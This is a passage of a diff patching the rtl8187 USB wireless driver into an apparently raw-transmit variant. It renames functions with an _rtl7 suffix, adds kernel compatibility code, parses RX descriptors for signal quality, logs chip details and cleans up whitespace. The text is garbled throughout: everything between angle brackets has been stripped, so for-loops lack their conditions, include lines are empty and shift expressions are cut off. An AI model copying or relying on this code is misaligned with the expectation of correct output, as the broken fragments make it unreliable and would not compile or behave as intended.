for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1593,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1604,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1625,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1652,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1679,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1720,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1767,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1827,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1875,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1884,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1967,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2002,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2031,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2121,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2187,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2210,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2224,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2268,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2407,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2425,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2445,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2456,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2469,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2579,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2598,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2620,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2668,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2685,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2702,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2715,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2730,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-07-13 01:46:27.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short 